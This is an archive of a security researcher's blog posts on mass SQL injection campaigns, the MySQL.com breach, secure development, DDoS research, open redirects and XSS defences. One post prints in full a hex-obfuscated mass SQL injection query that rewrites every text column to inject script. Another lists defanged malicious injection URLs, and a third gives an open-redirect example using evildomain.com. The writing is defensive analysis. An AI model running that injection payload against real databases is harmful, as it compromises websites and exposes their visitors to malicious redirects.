Jerry Mangiarelli

lizamoon.com + Mass SQL Injection

2011-03-31T04:10:00.000-07:00

I've been following another mass SQL Injection attack that inserts a piece of code into the page which results to a redirect to a rogue anti-virus site.

From the image below you can see that the results are near 226, 000 URLs. Google search.

Update 10:42 EST: I've identified a few other domains that are similar to the injection files.The consistency and similarities of the files details that the injection attacks started in 2010.

hxxp://alexblane.com/ur.php
hxxp://sol-stats.info/ur.php
hxxp://online-stats201.info/ur.php
hxxp://stats-master111.info/ur.php
hxxp://agasi-story.info/ur.php
hxxp://general-st.info/ur.php
hxxp://extra-service.info/ur.php
hxxp://pop-stats.info/ur.php
hxxp://star-stats.info/ur.php
hxxp://multi-stats.info/ur.php

MySQL.com + Blind SQLi

2011-03-29T05:56:00.000-07:00

MySQL.com was found vulnerable to a blind SQL Injection over the weekend. The outcome revealed username and passwords. You can find a list and attempts at cracking the hash values here.

SQL Injection continues into 2011

2011-02-17T05:06:00.000-08:00

What does Lush, recruitireland.com, eHarmony, 5 oil and gas companies, HBGary and Nasdaq have in common? They were targeting and exploited by a vulnerability that is over 10 years old. Each organization was found vulnerable to an SQLi and compromised.

The thought here is whether or not the organizations developed their own code by concatenating and using a blacklist method that was bypassed by obfuscation techniques. I guess we'll never know, the one thing that we do know is that this one technique is far from over.

SafeCode - secure development guide

2011-02-09T09:41:00.000-08:00

The paper prescribes new and updated security practices that should be applied during the Design, Programming and Testing activities of the software development lifecycle. These practices have been shown to be effective across diverse development environments.

A guide to the most effective secure development practices in use today.

http://www.safecode.org/publications/SAFECode_Dev_Practices0211.pdf

Secure Coding vs Web Automated Scanners

2010-12-01T06:37:00.000-08:00

I often get the question if web automated scanners have a place within the SDLC. I have a canned response to that "yes and no"

Many organizations will adopt the "catch all" syndrome, leaving security to the end which becomes expensive and tedious and hoping that the one thing that will save your organization from financial and reputational losses is a web automated scanner. This one attempt at locating risks is not the ideal way and one that will fail. Consider the dynamic aspects of an application and the limitations of an automated scanner has when crawling.

When developing a secure application it must be built into the application from it's inception. Each stage of the SDLC must have security thought out components from the gathering of requirements, application design, development process, testing and deployment. Testing for security at each stage will provide you with absolute assurance that identified risks will be addressed and corrected prior to deployment.

Code review is the ideal way to validate the security posture of your application, but automated scanners do have their place. It is up to the tester who is operating the scanner to properly identify the application components. In conjunction with the risk management of the application and the understanding of the application functions and data handling capabilities it is possible to ensure a secure application.

Another Mass SQL Injection Attack

2010-08-18T06:38:00.001-07:00

I've been following yet another mass SQLi attack, more so over the last 3 days. The obfuscated query attempts once again to bypass common filters. The query below displays one that has been in circulation

declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c417245204054207661526368615228323535292c406320
764152434841722832353529206465634c417265207461624c455f635572734f5220435552534f5220466f522053454c45437420412e6e61
6d652c622e6e614d652066726f4d207379734f626a6543747320612c737973434f4c754d4e73206220776865524520612e69643d422e6964
20614e4420412e58745950653d27552720616e642028622e78545950653d3939206f7220622e58547970653d3335206f5220422e7854595
0653d323331204f5220622e78747970453d31363729206f50454e205441624c655f637552736f72206645544348206e6558542046524f6d2
05461426c455f437552734f7220494e744f2040542c4063207768696c4528404046657443685f7374417475533d302920626547496e20657
845632827557044615445205b272b40742b275d20536554205b272b40632b275d3d727452494d28434f4e5665525428564152434841722
834303030292c5b272b40432b275d29292b636153542830783343363936363732363136443635323037333732363333443232363837343
73437303341324632463645363536443646363837353639364336343639363936453245373237353246373436343733324636373646324
53730363837303346373336393634334433313232323037373639363437343638334432323330323232303638363536393637363837343
34432323330323232303733373437393643363533443232363436393733373036433631373933413645364636453635323233453343324
6363936363732363136443635334520615320766152434861722831303629292729204645544368204e6578742066526f6d207441426c65
5f635572734f7220496e744f2040742c406320456e4420436c6f7365207461626c455f437552736f52206445414c4c6f43415465205461424c6
55f435552736f7220%20as%20varchar(4000));exec(@s);--

The query is using CAST as we saw in many attempts in 2008 and 2009, this is used to convert data types.

The last time I checked over 500, 000 sites had been compromised.

Hacking Under the Radar

2010-06-17T06:10:00.000-07:00

The 26th edition of the INSECURE magazine was recently published. I had the opportunity to submit an article based on some research that I conducted a short time ago. You can find the article here

Pushdo - DDoS?

2010-02-03T12:08:00.000-08:00

I recently submitted my analysis of the Pushdo activities, there were indications surrounding the attempts to peform a DDoS, after reviewing the pcaps it is clear that the SSL attempts were fake.

However, my analysis does state that the bots received a new set of commands from an experimental perspective. This means that we will see activity circulating around Pushdo in the near future.

DDoS Returns: What Researchers Are Learning About Targets, Tactics

2010-01-20T17:50:00.000-08:00

I recently spoke with Bill Brenner Senior Editor of CSO Online. I had the opportunity to detail my thoughts and current research against DDoS. You can find the article here

Federation Of Security Professionals - Seminar

2009-10-31T15:55:00.000-07:00

Once again I had the pleasure to speak at FSP (Federation of Security Professionals) in Toronto, ON. The FSP seminars pull together some great content. I presented on SQL Injection, but added some information that I'm currently researching.

In the coming months I'll be detailing information in an area that I once ventured down, but now finding the time (after the kids are in bed) to explore malware and the application layer.

SecTor

2009-10-09T08:44:00.000-07:00

I recently presented at SecTor Conference in Toronto, ON. I absolutely had a blast, met some great individuals who I'll definitely keep in touch with. I presented on the topic, "The Past, Present & Future - SQL Injection" A security vulnerability that is still dominating from a compromise perspective. The future portion of this presentation talked about the path adversaries are taking to "Inject - SQL Injection" A term I've used to described the ability plant a SQLi within an application intentionally and knowingly for the intent to perform something malicious at a later time.

In addition, I spoke about how a malicious developer could plant a SQLi and bypass our current detective tools like static analysis tools and web automated scanners.

Here's my presentation .... The Past, Present & Future - SQL Injection

Redirect = Phishing | other malicious stuff

2009-05-06T08:14:00.000-07:00

Interesting read here McAfee first quarter threat report revealed that cybercriminals have taken control of almost 12 million new IP addresses since January, a 50 percent increase since 2008. That's incredible numbers. If you continue to read further "Cybercriminals are increasing their use of URL redirects and Web 2.0 sites to disguise their location"

I like the term "What is old, is new again" It's pretty accurate in this case. In some situations a user submits data to form the target of the redirect. The best approach is not to accept user-supplied data. Here's a GET request with a redirect that is not properly controlled.

http://www.mydomain.com/redir.jsp?target=http://www.mydomain1.com

if I can redirect this URL

http://www.mydomain.com/redir.jsp?target=http://www.evildomain.com

http://www.evildomain.com is the user-controlled data that is using the trusted domain mydomain.com as a sure phishing attack.

What can we do?

What I've seen work well is a whitelist based approach. Pass an index of acceptable URLs, anything beyond that is not acceptable and should be rejected.

American Express XSS Vulnerability

2008-12-22T10:55:00.000-08:00

Well, another vulnerability Amex XSS Vulnerability What seems to be misunderstood is that this can be stopped. XSS can be stopped and it's straight forward. One of the areas that I see that is misunderstood tremendously is the ability to restrict client-side JavaScript from accessing the document.cookie to capture victim's session token. The optional attribute "HttpOnly" is a defense in the set-cookie header, supported by some browsers and applications. This ability alone would mitigate the threat associated with the payload identified in the Amex XSS vulnerability.

There is definelty a knowledge gap, but as security awareness improves so will our applications.